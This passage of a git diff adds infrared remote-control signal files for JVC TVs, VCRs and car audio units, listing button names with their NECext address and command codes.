+protocol: NECext +address: 43 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 29 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 33 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 35 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 36 00 00 00 +# +name: prog_menu +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 37 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 38 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3C 00 00 00 +# +name: prog_check +type: parsed +protocol: NECext +address: 43 00 00 00 +command: 3D 00 00 00 +# +name: review +type: parsed +protocol: NECext +address: 43 00 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir new file mode 100644 index 000000000..6cb364f5b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 06 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 07 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 13 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 19 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 29 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 31 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 33 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 3B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 91 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 53 00 00 00 +command: 97 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir new file mode 100644 index 000000000..039759ee4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: sleep_timer +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: cc +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 42 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 93 00 00 00 +# +name: theater_pro +type: parsed +protocol: NECext +address: 03 00 00 00 +command: D5 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: E6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir new file mode 100644 index 000000000..a45dc0d6e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: off_timer +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: return+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: muting +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 73 00 00 00 +# +name: picture_mode +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: colour +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 92 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9D 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 03 00 00 00 +command: B4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir new file mode 100644 index 000000000..d92842877 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: BROADCAST +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: LEVELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: LEVELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3A 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir new file mode 100644 index 000000000..49a2dcf1e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: PICTURE_ADJUST+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: PICTURE_ADJUST- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 79 00 00 00 +# +name: PICTURE_ADJUST +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: COLOUR_SYSTEM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 92 00 00 00 +# +name: CH_PRESET +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 99 00 00 00 +# +name: KEY_MAX +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9D 00 00 00 +# +name: SOUND_SYSTEM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: B4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir new file mode 100644 index 000000000..1bad143ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: PICTURE_ADJUST+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: PICTURE_ADJUST- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: PICTURE_MODE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 79 00 00 00 +# +name: PICTURE_ADJUST +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: COLOUR_SYSTEM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 92 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 9D 00 00 00 +# +name: SOUND_SYSTEM +type: parsed +protocol: NECext +address: 03 00 00 00 +command: B4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir new file mode 100644 index 000000000..a5e001761 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: AV_STATUS +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 89 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 03 00 00 00 +command: B2 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 03 00 00 00 +command: D6 00 00 00 +# +name: C1/C2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir new file mode 100644 index 000000000..8c320fd31 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: Main/Sap +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 00 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: AVStatus +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 20 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 21 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 22 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 23 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 24 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 25 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 26 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 27 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 28 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 29 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 3C 00 00 00 +# +name: Function+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5A 00 00 00 +# +name: Function- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 5B 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 77 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7A 00 00 00 +# +name: FunctionDown +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7B 00 00 00 +# +name: FunctionUp +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir new file mode 100644 index 000000000..2ae38375f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 84 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 85 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 88 00 00 00 +# +name: Sound +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 8D 00 00 00 +# +name: Att +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 8E 00 00 00 +# +name: Track+ +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 92 00 00 00 +# +name: Track- +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 93 00 00 00 +# +name: Disc+ +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 94 00 00 00 +# +name: Disc- +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir new file mode 100644 index 000000000..3c53d5e41 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 84 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 85 00 00 00 +# +name: SRC +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 88 00 00 00 +# +name: Sound +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 8D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 8E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 92 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 93 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 94 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 8F 00 00 00 +command: 95 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir new file mode 100644 index 000000000..9ccc0ace2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9F 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext 